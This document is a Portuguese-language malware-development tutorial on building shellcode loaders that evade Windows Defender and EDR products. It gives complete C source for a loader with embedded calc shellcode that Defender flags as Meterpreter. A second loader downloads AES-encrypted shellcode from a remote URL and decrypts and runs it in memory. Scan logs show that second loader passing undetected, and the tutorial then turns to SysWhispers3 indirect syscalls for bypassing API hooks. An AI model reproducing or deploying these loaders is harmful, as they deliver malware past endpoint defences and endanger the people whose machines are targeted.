Soluções EDR aka (Endpoint Detection and Response) são uma evolução dos softwares de segurança que conhecemos como antivírus, Enquanto soluções AV clássicas dependem principalmente de assinaturas estáticas, os EDRs modernos empregam técnicas avançadas como hooking de APIs, análise comportamental, isolamento de hosts e classificação de detecções baseadas no framework MITRE ATT&CK
nesse artigo demonstrarei como burlar EDRs usando técnicas evasivas na criação deu seu loader personalizado
em um ataque real é comun o uso de "Loaders" e "Droppers" que carregam o malware principal passando por 'estagios' esses estagios podem variar dependendo da complexidade do malware algo que conhecemos como Chain ou Cadeia isso é nescesario para nosso ataque não seja interrompido por um AV/EDRs rodando em segundo plano
aqui abaixo está um loader shellcode super simples:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
// abre o calc.exe
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main() {
void* exec_mem;
DWORD oldProtect;
HANDLE hThread;
exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == NULL) {
printf("Falha ao alocar memória.\n");
return -1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
VirtualProtect(exec_mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (hThread == NULL) {
printf("Falha ao criar thread.\n");
return -1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
o Loader acima aloca memoria no proprio processo, copia o shellcode para essa região e define permissão de RWX (Leitura, Escrita e Execução), apos isso inicia uma Thread passando essa região como endereço.
vamos scannear o binario e ver o que o AV acha disso (estou usando uma ferramenta minha para analisar o binario):
C:\Users\mount\Desktop\>avfind.exe -defender -path shit-loader.exe
2025/03/29 15:13:57 Scanning the file with Windows Defender: shit-loader.exe
2025/03/29 15:13:57 Threats found in the file. Starting the binary search
2025/03/29 15:13:57 Isolated detected bytes at offset 0x272F [10031/11776]
00000000 44 8b 40 24 49 01 d0 66 41 8b 0c 48 44 8b 40 1c |D.@$I..fA..HD.@.|
00000010 49 01 d0 41 8b 04 88 48 01 d0 41 58 41 58 5e 59 |I..A...H..AXAX^Y|
2025/03/29 15:13:57 Found threat: Trojan:Win64/Meterpreter.E
2025/03/29 15:13:57 Found threat: Trojan:Win64/Rozena.AMBE!MTB
o Defender acabou de analisar o loader e detectou que essa sequencia de bytes no codigo é uma ameaça...
olhando no IDA pro e procurando por essa sequencia hexadecimal vamos encontrar o nosso shellcode de calculadora

oque mudou?
- payload com AES
- Chave de Decriptação
- Estagio Web
vamos mudar o codigo para que ele interaja com o shellcode baixando da internet e decriptando em tempo de execução, isso vai impedir que o binario tenha uma entropia alta
#include <windows.h>
#include <stdio.h>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <psapi.h>
#include <winhttp.h>
#include <wincrypt.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#define okay(msg, ...) printf("[+] " msg , ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg , ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg , ##__VA_ARGS__)
void printMemoryInfo(void* address, const char* name) {
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(address, &mbi, sizeof(mbi));
printf("[+] %s: %p\n", name, address);
info(" Base Address: %p\n", mbi.BaseAddress);
info(" Allocation Base: %p\n", mbi.AllocationBase);
info(" Allocation Protect: 0x%X\n", mbi.AllocationProtect);
info(" Region Size: %zu bytes\n", mbi.RegionSize);
info(" State: 0x%X (MEM_COMMIT=0x1000, MEM_RESERVE=0x2000)\n", mbi.State);
info(" Protect: 0x%X (PAGE_EXECUTE=0x10, PAGE_READWRITE=0x04)\n", mbi.Protect);
info(" Type: 0x%X (MEM_PRIVATE=0x20000, MEM_IMAGE=0x1000000)\n\n", mbi.Type);
}
const LPCTSTR url = L"http://192.168.0.10/x";
const unsigned char key[] = {
0x51, 0x21, 0x35, 0x0a, 0x23, 0xbf, 0xa8, 0xbc, 0x99, 0xf1, 0x20, 0x3a, 0x3c, 0xc4, 0x92, 0x8e
};
BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) {
BOOL bSTATE = TRUE;
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
DWORD dwBytesRead = 0;
SIZE_T sSize = 0;
PBYTE pBytes = NULL, pTmpBytes = NULL;
URL_COMPONENTS urlComp;
WCHAR szHostName[256] = { 0 };
WCHAR szUrlPath[256] = { 0 };
ZeroMemory(&urlComp, sizeof(urlComp));
urlComp.dwStructSize = sizeof(urlComp);
urlComp.lpszHostName = szHostName;
urlComp.dwHostNameLength = sizeof(szHostName) / sizeof(szHostName[0]);
urlComp.lpszUrlPath = szUrlPath;
urlComp.dwUrlPathLength = sizeof(szUrlPath) / sizeof(szUrlPath[0]);
if (!WinHttpCrackUrl(szUrl, 0, 0, &urlComp)) {
bSTATE = FALSE; goto _EndOfFunction;
}
hSession = WinHttpOpen(L"", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
hConnect = WinHttpConnect(hSession, urlComp.lpszHostName, urlComp.nPort, 0);
if (hConnect == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
hRequest = WinHttpOpenRequest(hConnect, L"GET", urlComp.lpszUrlPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, (urlComp.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0);
if (hRequest == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
bSTATE = FALSE; goto _EndOfFunction;
}
if (!WinHttpReceiveResponse(hRequest, NULL)) {
bSTATE = FALSE; goto _EndOfFunction;
}
pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
if (pTmpBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
while (TRUE) {
if (!WinHttpReadData(hRequest, pTmpBytes, 1024, &dwBytesRead)) {
bSTATE = FALSE; goto _EndOfFunction;
}
if (dwBytesRead == 0) {
break;
}
sSize += dwBytesRead;
if (pBytes == NULL)
pBytes = (PBYTE)LocalAlloc(LPTR, sSize);
else
pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (pBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
memset(pTmpBytes, '\0', dwBytesRead);
}
*pPayloadBytes = pBytes;
*sPayloadSize = sSize;
_EndOfFunction:
if (hSession) WinHttpCloseHandle(hSession);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hRequest) WinHttpCloseHandle(hRequest);
if (pTmpBytes) LocalFree(pTmpBytes);
return bSTATE;
}
int AESDecrypt(char* payload, unsigned int payload_len, char* key, SIZE_T keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, payload, &payload_len)) {
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
int main() {
PBYTE EncShellcode = NULL;
SIZE_T fileSize = 0;
PVOID exec_mem = NULL;
HANDLE hThread = NULL;
NTSTATUS status;
DWORD oldProtect = 0;
// 1. Baixar o shellcode
if (!GetPayloadFromUrl(url, &EncShellcode, &fileSize)) {
return -1;
}
okay("Encriptado", EncShellcode, fileSize);
okay("Shellcode criptografado carregado da URL.\n");
printMemoryInfo(EncShellcode, "EncShellcode");
// 2. Descriptografar o shellcode
AESDecrypt((char*)EncShellcode, fileSize, key, sizeof(key));
exec_mem = VirtualAlloc(0, sizeof(EncShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == NULL) {
printf("Falha ao alocar memória.\n");
return -1;
}
memcpy(exec_mem, EncShellcode, fileSize);
VirtualProtect(exec_mem, fileSize, PAGE_EXECUTE_READ, &oldProtect);
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (hThread == NULL) {
printf("Falha ao criar thread.\n");
return -1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
C:\Users\mount\Desktop\maldev\avidentifier>avfind.exe -defender -path good-loader.exe
2025/03/29 16:09:30 Scanning the file with Windows Defender: good-loader.exe
2025/03/29 16:09:30 Failed to scan the file with Windows Defender: NoThreatFound
Eeee bingo! conseguimos burlar o AV/Defender porem ainda será detectavel em um EDR isso acontece pelo uso das funções VirtualAlloc, VirtualProtect e CreateThread que são muito usados em malware e por isso são interceptadas por ele usando uma tecnica chamada "API HOOKING"

Um fluxo normal de chamada de API no windows funciona da seguinte forma:
CreateRemoteThread() ---> NtCreateThreadEx() ---> SYSCALL
a função CreateRemoteThread chama a NtCreateThreadEx hospedada na ntdll.dll que por fim chama a syscall Muitos EDRs monitoram chamadas de NTAPIS usando hooks de trampolim para verificar quando uma função é chamada por um programa e quais argumentos ele passa
CreateRemoteThread() ---> NtCreateThreadEx() ----> SYSCALL
|
|
|
EDR.DLL
Podemos ignorar isso chamando a syscall indiretamente utilizando o SysWhispers3, que gera stubs para chamadas de syscall',
evitando hooks de API. Isso permite que o programa interaja com o kernel sem passar por funções monitoradas pelo EDR.
Ao utilizar SysWhispers, é possível gerar cabeçalhos e implementações que encapsulam chamadas de syscall, permitindo
que o desenvolvedor invoque funções do kernel de forma discreta. evitando detecções baseadas em hooks de API.

Ignorando a solução EDR
Vamos instalar o OpenEDR da xcitium para a POC final.
https://www.openedr.com/

vamos então usar o github.com/klezVirus/SysWhispers3 e criar um loader com APC e indirect syscalls
python syswhispers.py --functions
NtAllocateVirtualMemory,
NtWriteVirtualMemory,
NtProtectVirtualMemory,
NtCreateThreadEx,
NtQueueApcThread,
NtResumeThread,
NtWaitForSingleObject -o syscalls_mem
codigo final: loader.c
